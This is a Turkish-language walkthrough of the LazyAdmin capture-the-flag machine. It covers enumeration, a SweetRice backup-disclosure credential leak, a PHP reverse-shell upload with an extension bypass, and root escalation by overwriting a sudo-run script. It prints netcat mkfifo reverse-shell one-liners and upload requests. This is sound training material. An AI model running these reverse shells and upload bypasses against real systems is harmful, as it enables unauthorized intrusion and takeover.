LazyAdmin -- Walktrough

Easy linux machine to practice your skills (Becerilerinizi geliştirmek için kolay linux makinesi)

Öncelikle herkese iyi haftasonları dilerim. İyi okumalar bu makine bize ne öğretecek birlikte görelim...

Screenshot.png

Her zaman ki gibi ilk önce 1000 portunu tarayıp full scande beklerken zaman kaybetmemek adına bilgi toplamaya başlayalım.

Enumerating

nmap -Pn -n --top-ports 1000 -vv -oN 1kscan 10.10.1.53

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-23 08:26 EDT
Initiating SYN Stealth Scan at 08:26
Scanning 10.10.1.53 [1000 ports]
Discovered open port 80/tcp on 10.10.1.53
Discovered open port 22/tcp on 10.10.1.53
Completed SYN Stealth Scan at 08:26, 4.81s elapsed (1000 total ports)
Nmap scan report for 10.10.1.53
Host is up, received user-set (0.093s latency).
Scanned at 2022-04-23 08:26:15 EDT for 4s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds
           Raw packets sent: 1260 (55.440KB) | Rcvd: 1043 (41.728KB)

22 ve 80 portlarının açık olduğu bilgisini aldık. Şimdi portlar üzerinde çalışan servis ve versiyonlar hakkında bilgi alıp 80 portunu ziyaret edelim.(22 portuna karşı credentials topladığımız zaman uğrayacağız şuanda 22 portuna bir brute force atmamız zaman kaybı olabilir.)

nmap -Pn -n -sV -p 22,80 -vv -oN versionScan 10.10.1.53

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

nmap -Pn -n -sC -p 22,80 -vv -oN scriptsScan 10.10.1.53

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo0a0DBybd2oCUPGjhXN1BQrAhbKKJhN/PW2OCccDm6KB/+sH/2UWHy3kE1XDgWO2W3EEHVd6vf7SdrCt7sWhJSno/q1ICO6ZnHBCjyWcRMxojBvVtS4kOlzungcirIpPDxiDChZoy+ZdlC3hgnzS5ih/RstPbIy0uG7QI/K7wFzW7dqMlYw62CupjNHt/O16DlokjkzSdq9eyYwzef/CDRb5QnpkTX5iQcxyKiPzZVdX/W8pfP3VfLyd/cxBqvbtQcl3iT1n+QwL8+QArh01boMgWs6oIDxvPxvXoJ0Ts0pEQ2BFC9u7CgdvQz1p+VtuxdH6mu9YztRymXmXPKJfB
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC8TzxsGQ1Xtyg+XwisNmDmdsHKumQYqiUbxqVd+E0E0TdRaeIkSGov/GKoXY00EX2izJSImiJtn0j988XBOTFE=
|   256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILe/TbqqjC/bQMfBM29kV2xApQbhUXLFwFJPU14Y9/Nm
80/tcp open  http    syn-ack ttl 63
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 08:27
Completed NSE at 08:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 08:27
Completed NSE at 08:27, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.79 seconds
           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

image.png

default apache serveri karşılamakta.

80 portuna dizin taraması yapmak için dirsearch toolunu kullanmak istedim

dirsearch -u http://10.10.1.53 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 220546

Output File: /root/.dirsearch/reports/10.10.1.53/_22-04-23_08-45-00.txt

Error Log: /root/.dirsearch/logs/errors-22-04-23_08-45-00.log

Target: http://10.10.1.53/

[08:45:01] Starting: 
[08:45:02] 301 -  310B  - /content  ->  http://10.10.1.53/content/
[08:57:00] 403 -  275B  - /server-status

Task Completed

/content/ dizinine uğradığımızda sweetrice web sitesi yönetimi olarak kurulduğuna dair bir sayfayla karşılaştık.

image.png

sitenin kaynak koduna ve bağlantıya tıklayarak biraz gezinti edelim.. Gezinirken searchsploit toolu ile sweetrice da exploit var mı yok mu onu kontrol edip /content/ dizinine dizin taraması atacağım.

searchsploit sweetrice

----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SweetRice 0.5.3 - Remote File Inclusion                                            | php/webapps/10246.txt
SweetRice 0.6.7 - Multiple Vulnerabilities                                         | php/webapps/15413.txt
SweetRice 1.5.1 - Arbitrary File Download                                          | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload                                            | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery                                       | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution                  | php/webapps/40700.html
SweetRice < 0.6.4 - 'FCKeditor' Arbitrary File Upload                              | php/webapps/14184.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

searchsploitin çıktısını incelediğimizde "backup disclosure" bulduk. cat ile okuduğumuzda ise bize

Title: SweetRice 1.5.1 - Backup Disclosure
Application: SweetRice
Versions Affected: 1.5.1
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Tested on: Windows 10
Bugs: Backup Disclosure
Date: 16-Sept-2016


Proof of Concept :

You can access to all mysql backup and download them from this directory.
**http://localhost/inc/mysql_backup
**
and can access to website files backup from:
http://localhost/SweetRice-transfer.zip

localhost üzerinde inc dizininde mysql_backup olabileceğinin bilgisini verdi daha önceden /content/ dizin taraması yaptığımız için bunu bulmamız daha kolay oldu

dirsearch -u 10.10.1.53/content --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 220546

Output File: /root/.dirsearch/reports/10.10.1.53/-content_22-04-23_09-49-50.txt

Error Log: /root/.dirsearch/logs/errors-22-04-23_09-49-50.log

Target: http://10.10.1.53/content/

[09:49:51] Starting: 
[09:49:54] 301 -  317B  - /content/images  ->  http://10.10.1.53/content/images/
[09:49:58] 301 -  313B  - /content/js  ->  http://10.10.1.53/content/js/
[09:50:05] 301 -  314B  - /content/inc  ->  http://10.10.1.53/content/inc/
[09:50:12] 301 -  313B  - /content/as  ->  http://10.10.1.53/content/as/
[09:50:13] 301 -  318B  - /content/_themes  ->  http://10.10.1.53/content/_themes/
[09:50:15] 301 -  321B  - /content/attachment  ->  http://10.10.1.53/content/attachment/

Task Completed

content dizini içersinde inc dizin olduğuna dair güzel bir bilgi elde etmiş olduk mysql_backup dizinini kontrol edelim.

image.png

mysql'e ait backup dosyasına eriştik buradan edineceğimiz bilgi ile makinemizin ilk giriş noktasını bulabiliriz.. (makinemize indiriyoruz.)

Exploitation

mysql_backup dosyasını indirdikten sonra incelemek için cat komutunu kullanıp içersinde ne var bir bakalım.(içerik büyük olduğu için credentials bilgisini kod satırı olarak yazacağım.)

cat mysql_bakup_20191129023059-1.5.1.sql

 UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
  14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"**Lazy Admin**&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"**admin**\\";s:7:\\"**manager**\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
  15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
  16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
  17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
  18 => 'CREATE TABLE `%--%_posts` (

lazy admin ve password şeklinde credentials bilgileri elde ettik ama password bilgisi encode edilmiş bir şekilde geldi. Crackstation ziyaret edip passwordu decode etmeyi deneyelim.

image.png

decode ettik. /content/ için dirsearch attıydık tekrar o bilgileri gözden geçirelim login olabileceğimiz bir alan mevcut mu?

/content/as dizininde login olabileceğimiz bir panel mevcut ssh ile bağlantı kurmayı denedim yanlış password hatası aldım ve artık tamamen as dizini üzerinden login olabileceğini biliyorum.

image.png

lazyadmin olarak denedim fakat yanıldığım nokta burasıymış lazy admin, admin ve manager olabileceğini backup çıktısına dönüp baktığımda farketmiş oldum bazen gözden kaçabiliyor tek tek hepsiyle deneyelim. Ve manager olarak login olduk...

image.png

sitede her yerini inceleyelim.. Gezindikten sonra 'Media_Center' tarafından siteye bir shell upload edebileceğim bir olabileceğini düşünüyorum ve pentest monkey php reverse shell yardımıyla ilk denememi gerçekleştiriyorum.

yüklediğim reverse shell'i burpsuite ile intercept ettim ve repeater a yollayıp servera istek yollamadan alacağım response'yi kontrol ettim.

POST /content/as/?type=media_center&mode=upload HTTP/1.1

Host: 10.10.1.53

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------23049831405224504252322530974

Content-Length: 5849

Origin: http://10.10.1.53

Connection: close

Referer: http://10.10.1.53/content/as/?type=media_center&dir=&keyword=php-reverse-shell.php

Cookie: admin=manager; passwd=42f749ade7f9e195bf475f37a44cafcb; dashboad_bg=#2e4a00; sweetrice=j828s5vn5q4ab3u8lcop8t7115

Upgrade-Insecure-Requests: 1



-----------------------------23049831405224504252322530974

Content-Disposition: form-data; name="dir_name"





-----------------------------23049831405224504252322530974

Content-Disposition: form-data; name="upload[]"; filename="php-reverse-shell.php"

Content-Type: application/x-php

siteye upload ediyor fakat nc dinleyicisine bir session açmıyor php uzantısından kaynaklı olup olmadığını kontrol etmek için php1, php2, php3, php5, phtml gibi uzantıları denemek için intruder kısmına isteğimi yolluyorum.

image.png

yazdığım uzantıların bir kaçını upload etmiş aslında ama php5 uzantısını çalıştırdığımda shell almış oluyorum..

listening on [any] 1234 ...
connect to [10.8.255.134] from (UNKNOWN) [10.10.1.53] 45322
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 18:24:13 up  3:11,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

www-data olarak shellimizi güçlendirdik.

www-data@THM-Chal:/home/itguy$ cat user.txt cat user.txt THM{flag} almış oluyoruz şimdi sıra privilege escalation yapmakta. Biraz gezinelim ve home/itguy dizini içersin de backup.pl ve mysql_login.txt görüyoruz.

cat backup.pl ile içerisini incelediğimizde

Privilege Escalation

www-data@THM-Chal:/home/itguy$ cat backup.pl
cat backup.pl
#!/usr/bin/perl

system("sh", "/etc/**copy.sh"**);

çıktısı almaktayız. Aynı zamanda sudo -l komutununda bizi backup.pl e götürdüğünü görmekteyiz.

www-data@THM-Chal:/home/itguy$ sudo -l
sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
**    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
**

şimdi ki işlememiz copy.sh dosyasının dizinine gidip içeriğini detaylandırmak system tarafından neden copy.sh çağırılıyor bir bakalım. İlginç olarak copy.sh içersinde bir shell scripti buldum hahah..

www-data@THM-Chal:/etc$ cat copy.sh
cat copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

pentestmonkey üzerinden netcat shell kısmındaki payloadın aynısı ve onu kendi ip ve portumuza göre düzenleyip echo yardımıyla copy.sh shelline yazdırmamız gerekiyor

www-data@THM-Chal:/etc$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.255.134 4445 >/tmp/f' > copy.sh
<;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.255.134 4445 >/tmp/f' > copy.sh         
www-data@THM-Chal:/etc$ cat copy.sh
cat copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.255.134 4445 >/tmp/f
www-data@THM-Chal:/etc$

terminalde nc dinleyicisi açıp copy.sh scriptini çalıştırıyoruz. Çalıştırmak için /usr/bin/perl ve /home/itguy/backup.pl e ihtiyacımız var bunları set user yani sudo komutu ile run ettiğimizde root shellimizi açmış olacağız...

bingooooooooo !!

connect to [10.8.255.134] from (UNKNOWN) [10.10.1.53] 55660
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
# cat /root/root.txt
THM{flag}
#

bu yazıda neler öğrendim 1.5 versiyonu kullanan 'sweetrice' kullanan başka bir makineyle karşılaştığımda localhost üzerinde /content/inc içersinde mysql_backup olabileceğini ve oradan credentials elde edebileceğimi öğrendim. En önemliside "enumeration key'dir" olabildiğince iyi enum ettiğimizde rahatlıkla makineye sızabiliyoruz. Bu yazımında sonuna geldik okuyup vakit ayırdığınız için çok teşekkür ederim.